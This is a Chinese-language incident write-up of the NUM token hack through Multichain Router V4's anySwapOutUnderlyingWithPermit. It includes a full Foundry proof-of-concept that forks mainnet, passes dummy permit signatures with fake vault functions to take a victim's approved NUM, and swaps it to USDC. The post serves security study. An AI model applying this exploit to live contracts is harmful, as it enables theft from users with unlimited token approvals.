NUM 漏洞分析
https://twitter.com/BlockSecTeam/status/1595346020237352960

https://twitter.com/BlockSecTeam/status/1595346020237352960 https://phalcon.blocksec.com/tx/eth/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32 攻击交易 https://tx.eth.samczsun.com/ethereum/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32 攻击交易 https://etherscan.io/address/0x765277EebeCA2e31912C9946eAe1021199B39C61#code Multichain: Router V4 2 https://etherscan.io/address/0x3496B523e5C00a4b4150D6721320CdDb234c3079 Numbers Protocol: NUM Token

此次事件漏洞与ERC677代币关系并不大,可参考以下链接了解ERC677合约的实现逻辑:https://learnblockchain.cn/article/588
“RC677标准是ERC20的一个扩展,继承了ERC20的所有方法和事件,除了包含了ERC20的所有方法和事件之外,增加了transferAndCall 方法: function transferAndCall(address receiver, uint amount, bytes data) returns (bool success) 这个方法比ERC20中的transfer方法多了一个data字段,这个字段用于在转账的同时,携带用户自定义的数据。在方法调用的时候,还会触发Transfer(address,address,uint256,bytes) 事件,记录下发送方、接收方、转账金额以及附带数据。完成转账和记录日志之后,代币合约还会调用接收合约的onTokenTransfer方法,用来触发接收合约的逻辑。这就要求接收ERC677代币的合约必须实现onTokenTransfer方法,用来给代币合约调用。onTokenTransfer方法定义如下: function onTokenTransfer(address from, uint256 amount, bytes data) returns (bool success) 接收合约就可以在这个方法中定义自己的业务逻辑,可以在发生转账的时候自动触发。换句话说,智能合约中的业务逻辑,可以通过代币转账的方式来触发自动运行。”
5. 攻击过程&漏洞原因
- 攻击者先查看被攻击合约0x78ac给Multichain: Router V4 2授权的额度,为115792089237316195423570985008687907853269984665640563939356584007913129639935 ,即type(uint256).max ;



漏洞复现代码可参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/NUM_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BlockSecTeam/status/1595346020237352960
// @TX
// https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32
interface MultichainRouter{
    function anySwapOutUnderlyingWithPermit(
        address from,
        address token,
        address to,
        uint amount,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s,
        uint toChainID
    ) external;
}
contract ContractTest is DSTest{
    IERC20 NUM = IERC20(0x3496B523e5C00a4b4150D6721320CdDb234c3079);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    MultichainRouter multichainRouter = MultichainRouter(0x765277EebeCA2e31912C9946eAe1021199B39C61);
    Uni_Router_V3 Router = Uni_Router_V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);
    address victimAddress = 0x78AC2624a2Cd193E8dEfE9F39A9528e8bd4a368c;
    uint NUMBalance;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    function setUp() public {
        cheats.createSelectFork("mainnet", 16029969); 
    }
    function testExploit() external{
        NUMBalance = NUM.balanceOf(victimAddress);
        uint8 v = 0;
        bytes32 r = 0x3078000000000000000000000000000000000000000000000000000000000000;
        bytes32 s = 0x3078000000000000000000000000000000000000000000000000000000000000;
        multichainRouter.anySwapOutUnderlyingWithPermit(
            victimAddress,
            address(this),
            address(this),
            NUMBalance,
            block.timestamp + 60,
            v,
            r,
            s,
            12
        );
        NUM.approve(address(Router), type(uint).max);
        WETH.approve(address(Router), type(uint).max);
        NUM.transfer(address(Router), NUM.balanceOf(address(this)));
        address[] memory path = new address[](2);
        path[0] = address(NUM);
        path[1] = address(USDC);
        Router.swapExactTokensForTokens(0, 0, path, address(this));
        emit log_named_decimal_uint(
            "[End] Attacker USDC balance after exploit",
            USDC.balanceOf(address(this)),
            6
        );
    }
    function underlying() external returns(address){
        return address(NUM);
    }
    function depositVault(uint256 amount, address to) external returns(uint){
        return NUMBalance;
    }
    function burn(address from, uint256 amount) external returns(bool){
        return true;
    }
} 
                如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!